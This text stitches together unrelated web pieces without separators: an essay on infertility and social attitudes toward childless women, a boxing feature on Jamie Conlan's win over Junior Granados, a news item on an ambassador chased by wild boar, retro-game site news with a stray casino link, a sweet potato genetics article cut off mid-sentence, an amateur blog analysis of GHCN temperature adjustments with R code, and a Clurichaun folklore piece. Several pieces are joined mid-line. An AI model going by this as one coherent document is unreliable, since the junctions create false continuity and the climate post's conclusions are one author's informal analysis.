Other women make infertility challenges worse. A woman I used to work with, who was just one year younger, got pregnant at 37 the first time she tried. She loved telling me about that. “We went away on vacation and when we got back I realized I was pregnant. It was just like that.” She told me that story after I mentioned I’d been trying for a year. It was like she was competing with me and bragging that she won.
Once I asked a woman if her daycare center had cameras so she could watch her child during the day. I was just making conversation. I didn’t really care. I was sorry I asked. She told me she wouldn’t want a daycare with a webcam because her child was so cute some crazy barren woman might take her. Presumably, because barren women would hack into the webcam. Honestly. People. She knew my last IVF failed and yet she said this to me!
Women who don’t want children hear things like, “oh, you’ll change your mind when you meet the right man (or woman) — or when you get older.” They are told about all the joys of motherhood as if they had made an uninformed decision. Parents tell them they want grandchildren. They get cautioned that they’ll die alone as if that doesn’t happen to everyone. These comments are so demeaning and show a lack of respect. Women do know their own minds.
Those mothers.
There seems to be one kind of women with kids — the kind that expects you to be interested in their pregnancy, their ultrasounds, their baby pictures and all their baby stories. Why is that? Why should all women love babies, want babies, or be happy about the prospect of there being more babies in the world? It’s not always the case. I can’t speak for all childless women, but I think most of us are tired of pretending we’re interested because we’re afraid of being considered bitter barren bitches if we let on that we don’t care.
Sometimes it’s a burden to have to listen to baby stories and look at countless adorable pictures. These mothers types seem so overwhelmed with their own happiness that they don’t seem to realize other women have different feelings and experiences.
For some child-free women, listening is nothing more than a few boring moments that aren’t hard to endure. But sometimes, for some women, having the baby talk forced on you is painful. It’s an emotional conflict. It’s natural to be happy for someone when they’re happy. This doesn’t negate feelings of sadness, pain, or disinterest. No one ever assumes a man is interested in a woman’s pregnancy. Why assume that all women share the same feelings about children and reproduction?
No baby on board.
It was difficult when other women were going through infertility treatment and showing me pictures of their perfect 8 cell embryos. They assumed I’d be interested. They never considered my feelings. They knew I had lost the infertility battle and never asked if I was okay about hearing their stories. I put on a smiling face. I was encouraging and happy for them. But I was also sad, angry, and bitter. At times I was annoyed or just bored. I wanted to move on and put all that baby stuff behind me but they kept pulling me back in.
How I felt didn’t matter. I knew that if I expressed my feelings, I would be seen as selfish. I resented that I couldn’t tell them to shut up and get out of my office. I didn’t want to hear about their infertility treatments or their baby’s kicks after they succeeded where I failed. I resented how much their worlds revolved around themselves and that they forced their world on me.
According to the CDC,
6% of married women aged 15 to 44 years in the United States are unable to get pregnant after one year of trying (infertility). Also, about 12% of women aged 15 to 44 years in the United States have difficulty getting pregnant or carrying a pregnancy to term, regardless of marital status (impaired fecundity).”
Is 6–12% too small a group of human beings to warrant sensitivity? Is it too much to ask that we acknowledge that women experience infertility and miscarriages? And there’s a growing group of women who simply do not want to be mothers.
Ask any infertile woman about the ignorance of the fertile. The unthinking comments — like, “you’re so lucky to have your freedom”, or “you can take my kids any time”. And then there’s the sure winner, “why don’t you ‘just’ adopt?” which is sometimes followed up with the suggestion that adoption somehow magically gets you pregnant because that was what happened to someone their sister knew. Adoption is not at all easy. There are a lot of difficult decisions. The process is long, invasive, expensive, and emotional. It’s not “just” something you do like just going to the grocery store.
Infertility is difficult to talk about. It’s hard to explain the ups and downs of living for a positive test every month for years. Peeing on a stick several days a month, for years. Living for signs that don’t arrive. The regular blood testing that leaves you with scar tissue. All the times you’re told to slide down on the table just a little bit more so you can have a wand full of cold gel pushed inside you so your doctor can scrutinize your ovaries.
The whole process turns a lovely part of a woman’s body into nothing more than an ovary tunnel. Forget about what it does to your sex life — everything fun and wonderful about it disappears. It becomes a chore, something that has to be done on nights you’d rather sleep. Sex changes from “don’t stop” to “just do it already”.
When you’re going through this medicalization of your formerly sexy body, it’s just not something you want to share, or experience. Perhaps the insensitivity the infertile endure is our own fault. We don’t talk about it. But it would be nice for all couples experiencing infertility if they didn’t have to deal with smug fertile comments. We’re all glad for you that you can take it for granted that you’ll have babies whenever you decide. Be grateful for it and stop assuming your world is where everyone lives.
Getting bitchy.
I’ve seen hostility between childless and childful women. Frankly, I’m surprised there’s not more backlash sometimes. Once, after being complimented on her youthful appearance by another woman, my friend Sara told her she owed it all to being childless. Sara went into detail about how her body was unchanged. Her vagina was intact. Her hips hadn’t gotten wider. She never spent years being sleep deprived and she was able to travel whenever she wanted. The woman was a little shocked. Maybe it wasn’t nice, but I was silently cheering Sara on. It was an us versus them kind of moment and she won. The sisterhood of the childless is so often subjected to pitying looks and comments, insensitive oversharing. Her jab at that mother felt good. Yes, it was petty. There really shouldn’t be an us v. them.Jamie Conlan after his win over Junior Granados
Watch prize fighting and the feats or flaws you witness might seem exclusively physical at root. But at the elite level of boxing, where athletic excellence and intense dedication are a given - or at least should be, internal factors are often what differentiate the combatants. On Saturday in Dublin, Paul Gibson went in search of a fighter's hidden instinct.
In about eight hours' time, Jamie Conlan will be in the midst of a savage physical confrontation.
Right now, he is sitting in the lobby of a Dublin hotel answering the same question from every passer-by who pauses to wish him luck. Camp went perfectly and he's feeling great is his standard reply. What else is there to say?
"I look about and see people going to work or about their daily life and it's funny to think that they have no idea what I'm about to put myself through," says Conlan, a super-flyweight from Belfast with 13 professional wins to his name.
This is one of many little insights Conlan allows me as his fight approaches. Outwardly at least, he appears calm, without a hint of the nervous energy I expected to encounter in a boxer this close to the climax of two months' intense preparation. Conlan is headlining a televised show in his first fight with a new trainer after nine months' inactivity.
"I've prepared so well that my mind is clear," says Conlan. "I'm ready and I know I'm going to win." He smiles sheepishly before adding: "But every now and again, even as I am thinking like that, a little 'what if' appears." Such honesty seems like a sign that Conlan is mentally positioned on the right side between confidence and complacency.
"I'm ready and I know I'm going to win. But every now and again, a little 'what if' appears."
Unsure whether to press Conlan about what lies ahead, we dance between different topics, only occasionally drifting back to boxing. At times I wonder if he is thinking about the fight at all.
"It comes and goes," says Conlan. Apparently, it is still early to be fully focused on the serious business of hitting and being hit.
Three hours later we are in a taxi together, making the short journey along the canal to Dublin's National Stadium. As we arrive, heavyweight Sean Turner - who goes by the nickname Big Sexy - marches past us on his way to the ring. The changing area is a hive of activity, with undercard fighters hitting pads, wrapping hands, shadow boxing and plotting with trainers.
It's a jovial atmosphere but as news of comfortable home wins filters through from the arena, Conlan remarks he may be the only guy who will be given a real fight tonight. Nobody who heard those words had any idea how prophetic they would prove to be.
As others prepare, fight, win, shower and leave, the mood gradually changes in Conlan's camp. As Conlan sits and listens to instructions from his trainer Danny Vaughan and his hands are wrapped by Danny's father George, he gives me a pre-arranged nod to indicate the butterflies in his stomach have awoken from their slumber.
Referee Mickey Vann calls in to give the standard instructions before the gloves arrive and are suitably roughed up before Conlan tries them on. Conlan works the pads with Danny but something seems wrong.
The wrapping of a fighter's hands is one of boxing's most sacred rituals and a privilege to witness
His father, John, high performance director of the famed Irish amateurs, offers a chair and a quiet word and it looks like a private prayer is being whispered to the wall. Jamie's stomach isn't right, a mistimed final meal or the irritable effects of stress and nerves the most likely culprits.
An official indicates 10 minutes until show time and suddenly Conlan's dressing room feels like a movie set. Two weeks ago, at his training camp in Marbella, Conlan revealed that this is the part of boxing that he hates the most and knows he'll miss the most - a most illuminating contradiction.
There are no histrionics. No punching walls or exaggerated yelps of encouragement. Vaughan, like John Conlan before him, is a calming presence. Jamie never has and never will fight angry.
There are words and nods from the other pros still milling about but, one by one, they slip away to the cauldron next door. Each departure accentuates the loneliness of Conlan's situation.
We all rise for the ring walk. Every other Irishman on the bill has won. Another millibar of pressure added. The curtain parts, allowing a flood of noise and light to wash over us. Jamie, at the front, bears the brunt. Suddenly, The Irish Rover strikes up to signal his imminent arrival.
I take my seat at ringside along with the great and good of Irish boxing. It is time to see the effects of the new regime: the impact of morning sprints under a Spanish sun, the green tea and poached egg diet, the saunas and steam rooms and plunge pools, the nine weeks away from family and friends.
Conlan receives his final instructions from trainer Danny Vaughan - before wading into battle
The fight needs many more words than I have to do it justice. The first three rounds are cagey before Junior Granados, a toughie from Mexico, serves notice of his power by buzzing Conlan in the fourth. Jamie wins the next two before a truly torrid seventh for the Irishman, in which a sickening body shot leaves him and the crowd gasping for breath.
Down on his hands and knees, Conlan bites hard into his gum shield and beats the canvas floor in a mixture of agony, frustration and defiance. He rises at nine and bobs and weaves for dear life as Granados unloads with everything - 63 unanswered punches according to some sources.
Throughout the fusillade, Vann remains poised to step in. But he never does. Conlan later tells me he was praying that Granados did not go back to his body. That might have been the end.
Finally spinning off the ropes, Conlan is caught and goes down again. It is the dying embers of the round but, upon rising once more and hearing the bell toll, he traipses to his corner looking for all the world a beaten man. The crowd isn't having that, however.
Stories of fans constituting an extra man are a penny a dozen in sport but on this occasion the crowd's influence is undeniable. They roar themselves hoarse. Conlan speaks later of shivers running down his spine and tears welling in his eyes. There follows an eighth-round revival that makes Rocky Balboa comebacks appear understated before clinching a unanimous decision.
I expect euphoria back in the changing area but the overriding emotion is more disbelief and admiration. Young fans, press and fellow pros jostle each other to secure a photo with the champ. The doctor takes a careful look and despite a bloody nose and grossly swollen right eye and top lip, there is nothing broken. Four stitches will suffice.
With his victory over Granados, Conlan improved to 14 wins and no defeats as a professional
Back in the hotel the broadcasting team rise to greet Conlan and he is presented with an unofficial fight of the year award. "There won't be a better fight this year," someone declares confidently. There might not be better fight for years.
Conlan and I share a lift up to his hotel room with Granados's trainer. He tells me he can't believe what Conlan has just done. He mentions heart and gestures to another part of the body that is universally recognised as representing bravery above and beyond the call of duty.
We get out on the seventh floor, where Jamie's girlfriend Tracey is waiting. She hates watching him fight but finds it preferable to sitting at home waiting for a phone call. She always asks not to be seated too close to the action, so knowing she was placed ringside for the bloodiest battle of her boyfriend's professional career, I expect an emotional wreck.
When the door opens, I see love and pride. All she wants to do is hold her man. Suddenly, my interest feels voyeuristic.
Meanwhile, a message arrives from Conlan's brother Michael, the current golden boy of Irish amateur boxing: it is a combination of respect, admonition and a physical threat to never put him through that again.
Conlan is subdued now, preoccupied by the negatives of his performance and mistakenly interpreting his father's concern as disappointment. Technically, he was off. But I feel compelled to tell him he showed the world something else, something that can never be taught in the gym.
"Was it really that good?" Conlan asks innocently. He genuinely has no idea what he has just done.The British Ambassador to Austria, Leigh Turner, was injured trying to escape from a group of rampaging wild boar when he slipped trying to climb to safety.
Her Majesty’s ambassador had been enjoying a walk through the Austrian countryside, following a visit to Mauthausen concentration camp near Linz, when he stumbled upon a family of wild boar.
Leigh suffered the indignity of being chased by a particularly fearsome beast. He sustained minor injuries to his hand in the pursuit, which he described rather eloquently in his blog post ‘An encounter with a Viennese wild boar.’
My bruising encounter with a wild boar in #Vienna - my new blog https://t.co/mKRW0yxOnipic.twitter.com/VvtA4KmZ0F — Leigh Turner (@LeighTurnerFCO) May 15, 2017
“Climbing through the woods after a cloudburst, I follow the path around a corner to find myself confronting a group of wild boar - four or five hulking adults and countless piglets - known, charmingly, as Frischlinge in German,” the blog reads.
Turner began to gingerly walk away from the notoriously territorial animals when suddenly he heard “a noise behind [him] like a galloping horse” and turned around to see a “massive wild boar, head down charging straight at [him].”
The ambassador took off as fast as he could but, realizing the boar was faster than he thought, he attempted to escape by climbing a pile of tree trunks. He slipped on the wet wood, scratching and bruising himself in a number of places.
Luckily for the experienced diplomat, the boar gave up the chase and trotted back to its family once again, leaving Turner to fend for himself in the Austrian wilderness.Alien 8
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http://alltoptrumpsslots.com Subcribe to RSS news! Highway Pursuit v1.2 now available Posted on 2015-11-13 20:27:14 Don't get excited, it's just a small update to one of our existing games: Highway Pursuit v1.2 is now ready to download.
This version fixes some issues with Windows 10
and adds 1920x1080 support. Alien 8 Linux (Fedora22) version released Posted on 2015-08-15 11:08:07 Although this site is actually a bit on the "hybernating" side, there's still the ocasional news every now and then :)
This time, a new Alien 8 Linux (Fedora22) binary version has been released, thanks to our friend markku68, thanks a lot! Best old games of all time Posted on 2012-07-04 16:16:01 As voted for by the random people at retrospec, in no particular order as the voting was equal:
Atic Atac
Chuckie Egg
Head Over Heels
Highway Encounter
Rex
Turbo Esprit
Read All NewsThe sweet potato was one of a number of crops domesticated in the Andes and, like many of the rest, it became a global crop in the colonial era. But there were some hints that the sweet potato may have already started its global sweep before the Europeans ever took a bite out of one. Some of the early European explorers, including Captain Cook, reported finding it in places like Hawaii. All of which implies that the Polynesians, who managed to spread widely across the Pacific, had made it all the way to South America.
But it was difficult to be sure, given that European travelers later enhanced its spread within the Pacific and elsewhere. This has also created a complex genetic legacy that obscures its origins. Now, researchers have gone back and obtained DNA from museum samples, including some collected by Cook's crew, and find that the DNA indicates that Polynesians made it as far as South America.
Archeological remains appear to place sweet potato cultivation in the core of Polynesia by the year 1200, and it spread with further migrations to places like New Zealand and Hawaii. It's possible that the plant had naturally spread as seeds across the ocean and the Polynesians learned to cultivate it independently. One of the arguments against this is the fact that the Polynesian terms for the crop appear to be closely related to its name in Quechua, the language of the Peruvian Andes. ("Kuumala" and derivatives vs. "kumara" and relatives.)
That, and the fact that the Polynesians made it most of the way across the Pacific, clearly getting as far as Easter Island. Still, reaching South America and then returning with crops is quite a significant step beyond that.
Trying to piece together a model of the sweet potato's spread based on things like historical reports, known human travels, and genetic information, however, has been quite a mess. Even the simplest ideas that are consistent with the data involve the sweet potato entering the Pacific through three different routes, and then potentially hybridizing with the strains already in residence.
It may be complicated, but the new genetic study provides support for this three-pronged (tripartite) assault on the Pacific. The researchers start with a detailed study of the cultivars found in South America, Central America, and the Caribbean. The researcher team, based in France, found that there are two distinct populations: a northern strain, found in Mexico and the Caribbean, and a southern one, in the Andes, where the crop was first domesticated. (There's also a region of overlap and intermingling in between the two.)
Genetic relatives of the northern strain entered the Pacific via two routes. In the first, trade with the Philippines during the Spanish colonial era brought it there; from that site, it diffused into mainland Asia and to some island strains. But the Caribbean strain made its way across the Atlantic, through Madagascar, and into Indonesia. Its arrival, likely in the 1700s, transformed the agriculture of the New Guinea highlands, which had previously been focused on taro. Cultural changes followed in its wake.
Most modern cultivars are descended from some combination of these |
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It can be seen that the long record station set is dominated by the USA, but that there are a fair number of stations elsewhere with 100 year raw data records, with quite a wide geographical spread.
The variation over time in the total number of stations with raw data at GHCN is shown below.
Most of the long record stations have data for some years after 1999, but the number of stations reporting data collapsed by over 1000 in April 2006, when many Indian stations ceased reporting, following a previous sharp fall in the early 1990s. Therefore, I have measured trends in the long record stations over the period 1900 to 2005, rather than to 2009.
I have been using a simpler QC method than Jeff but, unlike Jeff, analysing stations with the same WMO number but different modifiers completely separately. Where there are duplicate series for a station, I have taken their simple mean but marked as NA any months where the standard deviation between points in duplicate data series exceeded 4. This may be too high a tolerance, but bear in mind that GHCN has already carried out quite detailed QC on the data and thrown out all data that it considers likely to be bad. In many cases, there is little disagreement between the various duplicate data series, with data common to particular months showing exact or near exact matches, and different series covering different periods (overlapping or otherwise). For instance, there is actually very little disagreement between the 8 duplicate series for WMO station 25563, featured in Jeff’s recent post “GHCN, Sorting a box of sox“.
Having thus obtained a single temperature data series for each station, I then converted it to temperature anomalies by deducting from all data point s for each calendar month the mean of the post-1899 data for that calendar month. I then took the unweighted average of the anomaly series for all relevant long record stations. I used the same methods for adjusted temperature data, where present, as for raw temperature data.
Raw Data
So what story does the raw data from the 1034 long record GHCN stations tell? Shown below is the unweighted mean of the temperature anomalies for all data from those stations for each month from 1999 to 2005. The mean is slightly smoothed, hence the high Lag-1 serial correlation. The trend is fairly low, at 0.0269 Deg. C /Decade – which are the units I hereafter use for all trends. The confidence interval is over three times as high as the trend, which is accordingly far from being statistically significant. There is no pronounced peak in 1998, and the peak temperature occurred in the 1930s. As this data set largely represents temperatures in the USA, that is perhaps unsurprising.
In order to confirm that combining the long record station data had resulted in the trend of their mean temperature accurately reflecting the temperature trends of the individual stations, I also calculated the mean of those trends. It was 0.0256, very close to the 0.0269 trend of the mean temperature. The distribution of these trends is shown in the below plot.
Adjusted Data
For many of the long record stations, GHCN also presents homogeneity-adjusted temperature series, of which there may again be duplicates. Where there are duplicate series, the GHCN files do not indicate which of the duplicated raw series each adjusted series is based on, although often it will be possible to work this out.
Peterson’s 1997 Bulletin of the AMS paper “An overview of the Global Historical Climatology Network Temperature Database, available at the GHCN website, gives a very useful summary of the adjustment process, as well as of many other aspects of the GHCN temp data. However, the adjustments appear to be primarily, if not exclusively, aimed at correcting for discontinuities. So far as I can tell, they would not correct for gradual distortions to data caused by, for instance, an increasing Urban Heat Island effect as a conurbation encroached on a previously rural station or the size of a town in which a station was located grew.
The number of GHCN stations with adjusted data peaked at just over 4,000, compared with just under 6,000 with raw data, but has fallen even more sharply in the last twenty years, with recent adjusted data only being available for about 250 stations. This is illustrated below.
Of the 1034 long record GHCN stations, 764 also have adjusted temperature data satisfying the same completeness requirements. As can be seen from the below map, the dominance of USA stations is even greater than for the long record station raw data.
One can gain some idea of the effects of the homogeneity adjustments by comparing the mean trend for all stations with adjusted data with the mean trend for all stations with raw data. The graph below shows that the 1900-2005 trend in the mean anomaly temperature from the 764 stations using adjusted data was 0.0536, again not statistically significant. The mean of the trends of the individual series is almost identical at 0.0523. These trends are double those for the 1034 stations with long raw data records, which seems a little surprising.
A plot of the trends of the adjusted station data is given below. There is perhaps slightly less scatter than for the raw data, but then there are fewer stations.
In order to get a clearer picture of the effects of the adjustment process, I calculated the trend in the combined raw data from all 764 stations which had long records of adjusted data, thereby ensuring a like-for-like comparison. The mean raw temperature anomaly record of those 764 stations is shown below.
What this shows is that on average the adjustment process more than quadrupled the trend in raw temperatures, increasing the trend of the mean from 0.0113 for raw data to 0.0536. Indeed, if the mean trend change of 0.0423 resulting from adjustments to the long record stations were typical of the effect of adjustments to station data generally, the adjustment process would account for a substantial proportion of the recorded global mean temperature increase over the twentieth century.
It is not obvious why the mean adjustment should be positive, and of size that swamps the (admittedly very small) mean raw trend. Maybe there is some further metadata information that explains what accounted for all the discontinuities for which adjustments were made, but as the process appears to be largely driven by statistical analysis it may be that the cause of the discontinuities is unknown. In the Brohan et al (JGR 2006) paper describing the HadCRUT3 global surface temperature dataset, it is stated that station moves were often to a (cooler) out of town airport, so homogeneity adjustments were more likely than not to increase the trend. However, only 106 of the 764 GHCN stations with long records of adjusted data are shown as located at an airport, and in many cases that is unlikely to follow a move from a nearby town, so I find this explanation unconvincing here.
The homogeneity adjustments affect the GHCN gridded temperature database, which is based on the adjusted data. GISS uses raw data, and performs adjustments of its own. It is unclear to me whether the homogeneity-adjustments that CRU uses for its HadCRUT3 global surface temperature dataset are entirely their own or whether they use some adjusted data from GHCN.
One can envisage circumstances in which adjusting for discontinuities could artificially increase the true trend, such as where a station had been encroached upon by a city or gradually affected by some other non-climatic warming and was then moved (possibly on more than one occasion) in order to restore its original type of surroundings. That would produce a gradual warming that would not trigger any adjustment followed by a sharp drop that would be detected as a discontinuity and adjusted for. Does this sort of problem occur often in practice? Dunno.
Examination of the of the effect of the homogeneity adjustments on the trends of individual stations are by no means uniformly positive, as the below scatter plot shows. Nevertheless, the mean effect on trend of the adjustments is definitely greater than zero (t=15.6 – highly significant).
Rural Data
In an attempt to avoid possible inflation in station trends resulting from UHI effects, I also screened out from the 1034 GHCN stations with long raw data records all but stations marked as rural. That left 484 rural stations, of which unfortunately only 28 were outside the USA, located as per the below map.
The graph below shows that the mean 1900-2005 trend in the anomaly temperature raw data from the 484 rural stations was 0.0117, statistically completely insignificant. The mean of the trends of the individual series, as shown in the scatter plot below the temperature graph, is almost identical at 0.0102. These trends are under half those for all 1034 stations with long raw data records.
USA vs Rest of the World
Finally, I thought it worthwhile to divide the 1034 long record stations between USA stations (of which there are 832) and the 202 non-USA stations. The mean temperature anomaly of the USA stations, and the1900-2005 trend thereof (being 0.0144), is shown in the next graph.
By comparison, the mean temperature anomaly of the non-USA stations has a much higher 1900-2005 trend, of 0.0805, as shown in the below graph. This is the only one of the graphs that shows a statistically significant trend.
Why should the non-USA long record stations show a mean 1900-2005 decadal trend of 0.0805 whilst the USA ones show a mean trend of only 0.0144? Perhaps the USA has warmed by far less than other areas. But as the non-USA stations are also very largely northern hemisphere, with in many cases similar latitudes to those of USA stations, it is not obvious to me why that should be. However, there is one obvious possible explanation that is worth investigating further here: the UHI effect.
A majority, 456 out of 832, of the long record USA stations are classified as rural. Any many of the remainder may be in cities that had by 1900 already reached the size (relatively small, I believe) by which most of the UHI effect occurs. By contrast, only 28 of the 202 long record non-USA stations are classified as rural, and it may be that relatively more of the urban stations are in towns that only became sizeable post 1900. Could the bulk of the difference in trend (amounting to 0.7 deg. C over 1900-2005) between the long record USA and non-USA stations could be due to the UHI effect? At first sight, It seems conceivable. Having said that, the pattern of temperature movements over 1900-2005 is not the same for the USA and non-USA stations, and there is so much weather noise in the data (even when taking averages of hundreds of stations) that it is difficult to draw any firm conclusions.
In an attempt to estimate how much of the difference between the trends of long record USA and non-USA stations might be due to the UHI effect, I shortened the qualifying period to 1900-1990. Doing so increased the total number of rural stations from 484 to 574. More importantly, it increased the number of non-USA rural stations from 28 to 86, albeit these are rather dominated by Australia, Canada and Siberia, as shown on the below map (the final graphic, you will be pleased to know J).
I took the mean of the individual station trends over 1900-1995 rather than the trend of the mean, as the anomalisation period is more variable with only a 90 year qualifying period. For the USA stations, the mean trend was -0.0024 (yes, a negative trend, albeit a completely insignificant one).
By comparison, the mean 1900-1995 trend of the 86 non-USA rural stations with 90+ year records was 0.0548. The mean trend over the same period for the 297 non-USA non-rural stations was only modestly higher than this, at 0.0606, although the geographical distribution of the rural and non-rural non-USA data sets is different. These results suggest that the UHI effect may account for part of the difference between twentieth century mean recorded temperature trends in the USA and elsewhere, but not the bulk of it.
However, these rural station results may not be representative of the rest of the world, and are almost certainly not statistically significant. Further, non-USA stations marked as rural may be more likely to be affected by non-climatic warming, or warming affected by their type of environment, than are rural stations in the USA. For instance, only 12% of USA rural stations are near the coast, next to a large lake or on a small island, whereas 41% of non-USA rural stations are. It is conceivable that such environments could be are associated with greater (or lesser) twentieth century warming than land bound ones, although I am not aware of any evidence to that effect.
In conclusion, the raw data from long record GHCN stations shows little apparent warming in the USA and moderate warming (on land) elsewhere, only part of which seems likely to be due to the UHI effect. The adjusted data shows much higher trends than the raw data for the same stations, and it is not clear why the homogeneity adjustments should on balance be significantly positive.
I don’t have time to post a full turnkey R script, but I give in the Appendix my version of Jeff’s getstation function, amended to include the modifier part of the station number, and the other key parts of the code used for generating the various long record station sets and the temperature graphs. That should enable an interested reader who has loaded all the functions needed for running the script in Jeff’s CRU #2 post to generate the temperature graphs in this post.
I should end by noting that I cribbed functions and other bits of R code from work by Steve M, Ryan O and Jeff Id in order to carry out the work outlined in this post.
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UPDATE: Per #2
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Appendix – skeleton R code for extracting data for the various sets of long record GHCN stations.
(Thanks to everyone who told me how to put code up such that it’s formatted correctly – Jeff Id)
### getstation: returns station information (from ghmean) in collated fashion getstation=function(staid=89050,mod=0) { alladj=NA allraw=NA #raw data mask=(ghmean[,2]==staid) mask[!(ghmean[,3]==mod)]=FALSE data=ghmean[mask,] noser=levels(factor((data[,4]))) for(i in noser) { mask2=data[,4]==i startyear=min(data[mask2,5]) endyear=max(data[mask2,5]) dat=array(dim=c(endyear-startyear+1,12)) dat[data[mask2,5]-startyear+1,]=as.matrix(data[mask2,6:17]) dat=t(as.matrix(dat)) dim(dat)=c(nrow(dat)*ncol(dat),1) dat[dat==-9999]=NA dat=dat/10 rawd=ts(dat,start=startyear,deltat=1/12) if(!is.ts(allraw)) { allraw=rawd } else { allraw=ts.union(allraw,rawd) } } #colnames(allraw)=as.character(1:dim(allraw)[[2]]) mask=(ghmeanadj[,2]==staid) mask[!(ghmeanadj[,3]==mod)]=FALSE data=ghmeanadj[mask,] noser=levels(factor((data[,4]))) print(noser) if(length(noser)!=0) { for(i in noser) { mask2=data[,4]==i startyear=min(data[mask2,5]) endyear=max(data[mask2,5]) dat=array(dim=c(endyear-startyear+1,12)) dat[data[mask2,5]-startyear+1,]=as.matrix(data[mask2,6:17]) dat=t(as.matrix(dat)) dim(dat)=c(nrow(dat)*ncol(dat),1) dat[dat==-9999]=NA dat=dat/10 adjd=ts(dat,start=startyear,deltat=1/12) if(!is.ts(alladj)) { alladj=adjd print("res") } else { alladj=ts.union(alladj,adjd) print(ncol(alladj)) print ("R") } } }else(alladj=NA) station=list(allraw,alladj) station } loc="C:/agw/GHCN/v2.mean" # loc is the path and filename of the v2.mean file downloaded from GHCN wd=c(3,5,3,1,4,5,5,5,5,5,5,5,5,5,5,5,5) ghmean=read.fwf(loc,widths=wd) loc="C:/agw/GHCN/v2.mean_adj"# loc is the path and filename of the v2.mean_adj file downloaded from GHCN wd=c(3,5,3,1,4,5,5,5,5,5,5,5,5,5,5,5,5) ghmeanadj=read.fwf(loc,widths=wd) loc="C:/agw/GHCN/v2.temperature.inv" # loc is the path and filename of the v2.temperature.inv file downloaded from GHCN wd=c(3,5,3,31,7,9,4,5,1,5,2,2,2,2,1,2,16,1) tinv=read.fwf(loc,widths=wd,comment.char="") ##### find WMO stations no's present in GHCN and their coordinates sid=levels(factor(ghmean[,2])) rawcoord=array(0, dim=c(length(sid),2) ) j=1 for (i in sid) { mask=tinv[,2]==i rawcoord[j,2]=tinv[mask,5] rawcoord[j,1]=tinv[mask,6] j=j+1 } ##### construct time series for all ghch stations (WMO or not) ln=nrow(tinv) allrawar=array(NA,dim=c(210*12,ln)) alladjar=array(NA,dim=c(210*12,ln)) tol=4 # max acceptable standard deviation of multiple data for a month for(i in 1:ln) { sta = getstation(tinv[i,2],tinv[i,3]) if(max(time(sta[[1]]))>1800) { rawsta=rowMeans(sta[[1]],na.rm=TRUE) # could use sqrt wtd average instead of mean, to reduce effect of outliers? sta.sds=sd(t(sta[[1]]),na.rm=TRUE) sta.sds[is.na(sta.sds)]=0 rawsta[sta.sds>tol]=NA rawsta=window(ts(rawsta,start=min(time(sta[[1]])),deltat=1/12),start=1800,end=c(2009,12)) if( length(sta[[2]])>1 ) { adjsta=rowMeans(sta[[2]],na.rm=TRUE) sta.sds=sd(t(sta[[2]]),na.rm=TRUE) sta.sds[is.na(sta.sds)]=0 adjsta[sta.sds>tol]=NA adjsta=window(ts(adjsta,start=min(time(sta[[2]])),deltat=1/12),start=1800,end=c(2009,12)) }else{ adjsta=NA } }else{ rawsta=NA adjsta=NA } index=as.integer(((time(rawsta)-1800)*12+.02)+1) allrawar[index,i]=rawsta index=as.integer(((time(adjsta)-1800)*12+.02)+1) alladjar[index,i]=adjsta print(i) } allraw=ts(allrawar,start=1800,deltat=1/12) alladj=ts(alladjar,start=1800,deltat=1/12) araw = calc.anom(allraw) aadj = calc.anom(alladj) dimnames(araw)[[2]]=dimnames(aadj)[[2]]=round(tinv[,2]+0.1*tinv[3,],1) rm(allrawar,alladjar,index,i,rawsta,adjsta,sta.sds,ln,tol,sta) To create various long record station index vectors for applying to araw and aadj: araw.2000.idx=!is.na(colMeans(araw[2389:2400,],na.rm=TRUE)) # find all GHCN stations in monthly anomaly dataset of all post 1800 stations that have data for some month in 1999 sum(araw.2000.idx) # 2741 (c/f 2079 for WMO stations only) araw.1900.idx=!is.na(colMeans(araw[1201:1212,],na.rm=TRUE)) # find all GHCN stations in monthly anomaly dataset of all post 1800 stations that have data for some month in 1900 sum(araw.1900.idx) # 1697 (c/f 1146 for WMO stations only) araw.100.mis=colSums(is.na(araw[1201:2400,])) araw.100.idx=araw.1900.idx&araw.2000.idx&(araw.100.mis<240) # all stations with data in 1900 and 1999 and fewer than 240 points missing in 1900-1999 araw.rural.idx=which(tinv[,9]=="R") # find all rural stations #length(araw.rural.idx) [1] 3912 araw.100.r.idx=araw.1900.idx&araw.2000.idx&(araw.100.mis<240)&araw.rural.idx # all rural stations with data in 1900 and 1999 and fewer than 240 points missing in 1900-1999 sum(araw.100.r.idx) # 484 araw.exUSA.idx=(!(tinv[,1]==425)) araw.100.exUSA.idx=araw.1900.idx&araw.2000.idx&(araw.100.mis<240)&araw.exUSA.idx # all non-USA stations with data in 1900 and 1999 and fewer than 240 points missing in 1900-1999 sum(araw.100.exUSA.idx) # 202 To plot a graph of mean 1900-2005 raw long-record temperatures use, e.g.: araw.100=araw[1201:2520,araw.100.idx]; dim(araw.100) # 1320 1034 araw.100=ts(araw.100,st=1900,freq=12) plt.avg(ff(ts(rowMeans(araw.100,na.rm=TRUE),st=1900,freq=12)), main.t= paste("All 1034 GHCN Stations with largely complete data from 1900 on
Raw Temperatures - Unweighted Average"),st=1900,y.pos=0.9) and likewise for subsets of the 1034 long record stations, substituting the appropriate index vector for araw.100.idx and aadj for araw to use adjusted temperatures. wd=c(3,5,3,31,7,9,4,5,1,5,2,2,2,2,1,2,16,1) tinv=read.fwf(loc,widths=wd,comment.char="") # loc is the path and filename of the v2.temperature.inv file downloaded from GHCNThere are black sheep in every family, even among perfectly respectable Irish Leprechauns. Leprechauns are solitary creatures, spending a lot of time mending shoes, stashing gold in the pot they keep at the end of the rainbow, occasionally playing relatively harmless practical jokes on unsuspecting humans for amusement, and granting wishes here and there. They are fairly innocuous supernatural critters in the grand scheme of Celtic mythology. The modern Leprechaun has branched out into breakfast cereals and St Patrick’s Day parades, but is still regarded as a rather sympathetic, pro-human member of the fairy species. But what happens when good faeries go bad? Enter the leprechaun’s ne’er-do-well alcoholic cousin, the Clurichaun. The Clurichaun is said to always be drunk, and he is an extremely surly, rather than happy drunk. They joyride on unwilling dogs and sheep at night and hang out in wine cellars, tormenting drunkards and dishonest servants. If treated with proper respect, which one assumes involves keeping the liquor cabinet well-stocked, they will protect your supply of alcohol, but when offended they will wreak havoc on your home and spoil your wine. Bitter little monsters, they are. Scholars disagree as to whether the Clurichaun is a distinct species of faerie, or simply a Leprechaun on a bender, and some have even suggested that Leprechauns just like to hit the bottle after a hard day of shoe repair, and can’t hold their liquor. Either way, as they say in Alcoholics Anonymous, admitting you have a problem is the first step to recovery. Unfortunately, the Clurichaun can get somewhat nasty in the meantime.
